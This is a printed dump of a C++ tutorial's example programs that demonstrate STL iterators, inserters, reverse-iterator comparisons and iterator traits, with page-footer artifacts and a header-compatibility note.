compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//iterator simple example


#include <iostream>
#include <list>
using namespace std;

int main()
{
//lst, list container for character elements
list<char> lst;

//append elements from 'A' to 'Z'


//to the list lst container
for(char chs='A'; chs<='Z'; ++chs)
lst.push_back(chs);

//iterate over all elements and print,

file:///C|/Tutorial.txt (472 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//separated by space
list<char>::const_iterator pos;
for(pos = lst.begin(); pos != lst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, set example


#include <iostream>
#include <set>
using namespace std;

int main()
{
//set container of int
//data type
set<int> tst;

//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);

//iterate over all elements and print,


//separated by space
set<int>::const_iterator pos;
//preincrement and predecrement are faster
//than postincrement and postdecrement...
for(pos = tst.begin(); pos != tst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, multiset example


#include <iostream>
#include <set>
using namespace std;

int main()
{
//multiset container of int
//data type
multiset<int> tst;

file:///C|/Tutorial.txt (473 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);

//iterate over all elements and print,


//separated by space
multiset<int>::const_iterator pos;
//preincrement and predecrement are faster
//than postincrement and postdecrement...
for(pos = tst.begin(); pos != tst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, map simple example


#include <iostream>
#include <map>
#include <string>
using namespace std;

int main()
{
//type of the collection
map<int, string> mp;

//set container for int/string values


//insert some elements in arbitrary order
//notice a value with key 1...
mp.insert(make_pair(5,"learn"));
mp.insert(make_pair(2,"map"));
mp.insert(make_pair(1,"Testing"));
mp.insert(make_pair(7,"tagged"));
mp.insert(make_pair(4,"strings"));
mp.insert(make_pair(6,"iterator!"));
mp.insert(make_pair(1,"the"));
mp.insert(make_pair(3,"tagged"));

//iterate over all elements and print,


//element member second is the value
map<int, string>::iterator pos;
for(pos = mp.begin(); pos != mp.end(); ++pos)
cout<<pos->second<<' ';
cout<<endl;
return 0;
}

file:///C|/Tutorial.txt (474 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------

//iterator, multimap simple example


#include <iostream>
#include <map>
#include <string>
using namespace std;

int main()
{
//type of the collection
multimap<int, string> mmp;

//set container for int/string values


//insert some elements in arbitrary order
//notice a value of key 1
mmp.insert(make_pair(5,"learn"));
mmp.insert(make_pair(2,"map"));
mmp.insert(make_pair(1,"Testing"));
mmp.insert(make_pair(7,"tagged"));
mmp.insert(make_pair(4,"strings"));
mmp.insert(make_pair(6,"iterator!"));
mmp.insert(make_pair(1,"the"));
mmp.insert(make_pair(3,"tagged"));

//iterate over all elements and print,


//element member second is the value
multimap<int, string>::iterator pos;
for(pos = mmp.begin(); pos != mmp.end(); ++pos)
cout<<pos->second<<' ';
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);

list<int>::iterator lstIter, lstpos = lst.begin();

cout<<"The lst list data: ";


for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;

file:///C|/Tutorial.txt (475 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The the first element pointed by iterator lstpos is: "<<*lstpos<<endl;

advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;

advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;

advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;

return 0;
}

----------------------------------------------------------------------------------

//iterator, back_inserter()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 1; i < 5; ++i)
vec.push_back(i);

vector <int>::iterator vecIter;


cout<<"The vector vec data: ";
for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)
cout<<*vecIter<<" ";
cout<<endl;

//Insertions using template function


back_insert_iterator<vector<int> > backiter(vec);
*backiter = 11;
backiter++;
*backiter = 9;
backiter++;
*backiter = 27;

cout<<"\nOperation: *backiter = 11 then backiter++...\n";


cout<<"New vector vec data: ";
for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)
cout<<*vecIter<<" ";
cout<<endl;

cout<<"\nOperation: back_inserter(vec) = 21...\n";


//Alternatively, insertions using the
//back_inserter() member function
back_inserter(vec) = 21;
back_inserter(vec) = 17;
back_inserter(vec) = 33;
cout<<"New vector vec data: ";

file:///C|/Tutorial.txt (476 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(vecIter = vec.begin(); vecIter != vec.end(); vecIter++)


cout<<*vecIter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, distance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = -1; i < 10; ++i)
lst.push_back(2*i);

list <int>::iterator lstiter, lstpos = lst.begin();


cout<<"The list lst data: ";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: lstpos = lst.begin()\n";


cout<<"The first element pointed by iterator lstpos: "<<*lstpos<<endl;

cout<<"\nOperation: advance(lstpos, 5)\n";


advance(lstpos, 5);
cout<<"lstpos is advanced 5 steps forward to point to: "<<*lstpos<<endl;

list<int>::difference_type lstdiff;
cout<<"\nOperation: lstdiff = distance(lst.begin(), lstpos)\n";
lstdiff = distance(lst.begin(), lstpos);
cout<<"The distance from lst.begin() to lstpos is: "<<lstdiff<<" elements"<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, front_inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;

file:///C|/Tutorial.txt (477 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(i = -2; i<=5; ++i)


lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the template function to insert an element


cout<<"\nOperation: ++Iter then *Iter = 12...\n";
front_insert_iterator< list < int> > Iter(lst);
*Iter = 21;
++Iter;
*Iter = 12;

cout<<"New list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: front_inserter(lst) = 23...\n";


//Alternatively, using the front_insert() member function
front_inserter(lst) = 23;
front_inserter(lst) = 9;

cout<<"New list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = -3; i<=2; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the template version to insert an element


insert_iterator<list <int> > Iter(lst, lst.begin());

file:///C|/Tutorial.txt (478 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

*Iter = 7;
++Iter;
*Iter = 12;

cout<<"\nOperation: *Iter = 7 then ++Iter...\n";


cout<<"After the insertions, the list lst data: \n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the member function inserter()


//to insert an element
inserter(lst, lst.end()) = 31;
inserter(lst, lst.end()) = 42;

cout<<"\nOperation: inserter(lst, lst.end()) = 42...\n";


cout<<"After the insertions, the list lst data: \n";
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator!=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 1; i<=10; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 and rvecpos2 points to the first\n"


<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 != rvecpos2\n";


if(rvecpos1 != rvecpos2)
cout<<"The iterators are not equal."<<endl;
else
cout<<"The iterators are equal."<<endl;

file:///C|/Tutorial.txt (479 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 != rvecpos2\n";


if(rvecpos1 != rvecpos2)
cout<<"The iterators are not equal."<<endl;
else
cout<<"The iterators are equal."<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator==
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 11; i<15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"\nThe iterators rvecpos1 and rvecpos2 points\nto the first"


<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 == rvecpos2\n";


if(rvecpos1 == rvecpos2)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;

rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 == rvecpos2\n";


if(rvecpos1 == rvecpos2)
cout<<"The iterators are equal."<<endl;
else
cout<<"The iterators are not equal."<<endl;
return 0;

file:///C|/Tutorial.txt (480 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------

//iterator, operator<
#include <iterator>
#include <vector>
#include <iostream>

int main()
{
using namespace std;
int i;
vector<int> vec;
for(i = 10; i<= 17; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

//Initializing reverse_iterators to the last element


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 initially point\nto the "


<<"first element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos1 < rvecpos2\n";


if(rvecpos1 < rvecpos2)
cout<<"The iterator rvecpos1 is less than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not less than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos1 > rvecpos2\n";


if(rvecpos1 > rvecpos2)
cout<<"The iterator rvecpos1 is greater than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos2++;\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "
<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1 < rvecpos2\n";


if(rvecpos1 < rvecpos2)
cout<<"The iterator rvecpos1 is less than"
<<" the iterator rvecpos2."<<endl;

file:///C|/Tutorial.txt (481 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
cout<<"The iterator rvecpos1 is not less than"
<<" the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos1 > rvecpos2\n";


if(rvecpos1 > rvecpos2)
cout<<"The iterator rvecpos1 is greater than"
<<" the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than"
<<" the iterator rvecpos2."<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin()+1, rvecpos2 = vec.rbegin();

cout<<"The iterator rvecpos1 points to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"The iterator rvecpos2 points to the\n"


<<"first element in the reversed sequence: "
<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1<=rvecpos2\n";
if(rvecpos1<=rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"

file:///C|/Tutorial.txt (482 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos1 <= rvecpos2\n";


if(rvecpos1 <= rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 point to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos2 > rvecpos1\n";


if(rvecpos2 > rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"
<<"the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos2 > rvecpos1\n";


if(rvecpos2 > rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"
<<"the iterator rvecpos1."<<endl;

file:///C|/Tutorial.txt (483 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator>=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector <int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 point to the\n"


<<"second element in the reversed sequence: "
<<*rvecpos1<<endl;

cout<<"\nOperation: rvecpos2 >= rvecpos1\n";


if(rvecpos2 >= rvecpos1)
cout<<"The iterator rvecpos2 is greater than or\n"
<<"equal to the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: rvecpos2 >= rvecpos1\n";


if(rvecpos2 >= rvecpos1)
cout<<"The iterator rvecpos2 is greater than\n"
<<"or equal to the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;

cout<<"\nOperation: rvecpos1 >= rvecpos2\n";


if(rvecpos1 >= rvecpos2)

file:///C|/Tutorial.txt (484 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The iterator rvecpos1 is greater than\n"


<<"or equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is not greater than\n"
<<"the iterator rvecpos2."<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, operator+
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

vector<int>::reverse_iterator rveciter1 = vec.rbegin();


cout<<"\nThe iterator rveciter1 initially points to\n"
<<"the first element in the reversed sequence: "
<<*rveciter1<<endl;

cout<<"\nOperation: rveciter1 = diff + rveciter1\n";


vector<int>::difference_type diff = 4;
rveciter1 = diff + rveciter1;
cout<<"The iterator rveciter1 now points to the fifth\n"
<<"element in the reversed sequence: "
<<*rveciter1<<endl;

return 0;
}

----------------------------------------------------------------------------------

//iterator, operator-
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;

int main()
{
int i;

file:///C|/Tutorial.txt (485 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

cout<<"\nOperation: rvecpos1 = vec.rbegin() and rvecpos2 = vec.rbegin()\n";


vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();

cout<<"The iterators rvecpos1 & rvecpos2 initially point to\n"


<<"the first element in the reversed sequence: "<<*rvecpos1<<endl;

cout<<"\nOperation: for(i = 1; i<=5; ++i) and rvecpos2++\n";


for(i = 1; i<=5; ++i)
rvecpos2++;

cout<<"The iterator rvecpos2 now points to the sixth\n"


<<"element in the reversed sequence: "<<*rvecpos2<<endl;

cout<<"\nOperation: diff = rvecpos2 - rvecpos1\n";


vector<int>::difference_type diff = rvecpos2 - rvecpos1;
cout<<"The iterators difference: rvecpos2 - rvecpos1= "<<diff<<endl;
return 0;
}

----------------------------------------------------------------------------------

//iterator, template class


#include <iterator>
#include <vector>
#include <iostream>
#include <list>
using namespace std;

int main()
{
vector<int> vec1;
vector<char> vec2;
list<char> lst;
iterator_traits<vector<int>::iterator>::iterator_category cati;
iterator_traits<vector<char>::iterator>::iterator_category catc;
iterator_traits<list<char>::iterator>::iterator_category catlst;

//both are random-access iterators


cout<<"The type of iterator for vector<int> is\n"
<<"identified by the tag:\n"
<<" "<<typeid(cati).name()<<endl;

cout<<"The type of iterator for vector<char> is \n"


<<"identified by the tag:\n"
<<" "<<typeid(catc).name()<<"\n";

file:///C|/Tutorial.txt (486 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: typeid(cati) == typeid(catc)\n";


if(typeid(cati) == typeid(catc))
cout<<"The iterators type are the same."<<endl<<endl;
else
cout<<"The iterators type are not the same."<<endl<<endl;

//But the list iterator is bidirectional, not random access


cout<<"The type of iterator for list<char> is\n"
<<"identified by the tag:\n"
<<typeid(catlst).name()<<endl;

cout<<"\nOperation: typeid(vec1.begin())==typeid(vec2.begin())\n";
if(typeid(vec1.begin()) == typeid(vec2.begin()))
cout<<"The iterators type are the same."<<endl;
else
cout<<"The iterators type are not the same."<<endl;

return 0;
}

----------------------------------------------------------------------------------

//iterator, template class


#include <iostream>
#include <iterator>
#include <vector>
#include <list>
using namespace std;

template<class ite>
//create a function of template class type...
void funct(ite i1, ite i2)
{
iterator_traits<ite>::iterator_category cat;
cout<<"Test the iterator type...\n";
cout<<typeid(cat).name()<<endl;

//print the container data


cout<<"The data: ";
while(i1 != i2)
{
iterator_traits<ite>::value_type p;
p = *i1;
cout<<p<<" ";
i1++;
};
cout<<endl<<endl;
};

int main()
{
//declare containers vector and list
vector<char> vec(9, 'T');
list<int> lst(8, 7);

file:///C|/Tutorial.txt (487 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//function call...
funct(vec.begin(), vec.end());
funct(lst.begin(), lst.end());
return 0;
}

----------------------------------------------------------------------------------

//insert_iterator, container_type
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
list<int> lst1;
insert_iterator<list<int> >::container_type lst2 = lst1;
inserter(lst2, lst2.end()) = 12;
inserter(lst2, lst2.end()) = 17;
inserter(lst2, lst2.begin()) = 24;
inserter(lst2, lst2.begin()) = 9;

list<int>::iterator veciter;
cout<<"The list lst2 data: ";
for(veciter = lst2.begin(); veciter != lst2.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//insert_iterator, container_reference
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
list<int> lst;
insert_iterator<list<int> > iivIter(lst, lst.begin());
*iivIter = 12;
*iivIter = 21;
*iivIter = 9;
*iivIter = 31;

list<int>::iterator lstIter;
cout<<"The list lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;

cout<<"\nOperation: refirst = *(lst.begin())\n";


insert_iterator<list<int> >::reference refirst = *(lst.begin());

file:///C|/Tutorial.txt (488 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"The first element in the list lst is: "<<refirst<<endl;


return 0;
}

----------------------------------------------------------------------------------

//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>

int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the member function to insert an element


cout<<"\nOperation: inserter(lst, lst.begin()) = 21...";
inserter(lst, lst.begin()) = 21;
inserter(lst, lst.begin()) = 27;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the template version


cout<<"\nOperation: Iter(lst, lst.end()) and *Iter = 9...";
insert_iterator< list < int> > Iter(lst, lst.end());
*Iter = 9;
*Iter = 33;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------

//insert_iterator, operator*
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (489 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);

cout<<"The original list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

cout<<"\nOperation: Iter(lst, lst.begin()) and *Iter = 21... \n";


insert_iterator< list < int> > Iter(lst, lst.begin());
*Iter = 21;
*Iter = 9;
*Iter = 34;

cout << "After the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

--------------------------------------G++--------------------------------------------

//*****iteratoradvance.cpp**********
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;

list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);

list<int>::iterator lstIter, lstpos = lst.begin();

cout<<"The lst list data: ";


for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
cout<<"The the first element pointed by iterator lstpos is: "<<*lstpos<<endl;

advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;

file:///C|/Tutorial.txt (490 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;

advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;

return 0;
}

----------------------------------------------------------------------------------

//*******insertiterator.cpp********
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>

int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;

list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Using the member function to insert an element


cout<<"\nOperation: inserter(lst, lst.begin()) = 21...";
inserter(lst, lst.begin()) = 21;
inserter(lst, lst.begin()) = 27;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;

//Alternatively, using the template version


cout<<"\nOperation: Iter(lst, lst.end()) and *Iter = 9...";
insert_iterator< list < int> > Iter(lst, lst.end());
*Iter = 9;
*Iter = 33;

cout<<"\nAfter the insertions, the list lst data:\n";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
return 0;
}

file:///C|/Tutorial.txt (491 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

============================MODULE32=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//insert_iterator, operator++
//the increment...
#include <iterator>
#include <vector>

file:///C|/Tutorial.txt (492 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);

vector <int>::iterator veciter;


cout<<"The vector vec data: ";
//iterate all the elements and print...
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;

cout<<"\nOperation: j(vec, vec.begin()) then *j = 17 and j++...\n";


insert_iterator<vector<int> > j(vec, vec.begin());
*j = 17;
j++;
*j = 9;

cout<<"After the insertions, the vector vec data:\n";


for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

//insert_iterator, operator=
//the assignment
#include <iterator>
#include <list>
#include <iostream>
using namespace std;

int main()
{
int i;
list<int>::iterator lstiter;

list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);

cout<<"The list lst data: ";


for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
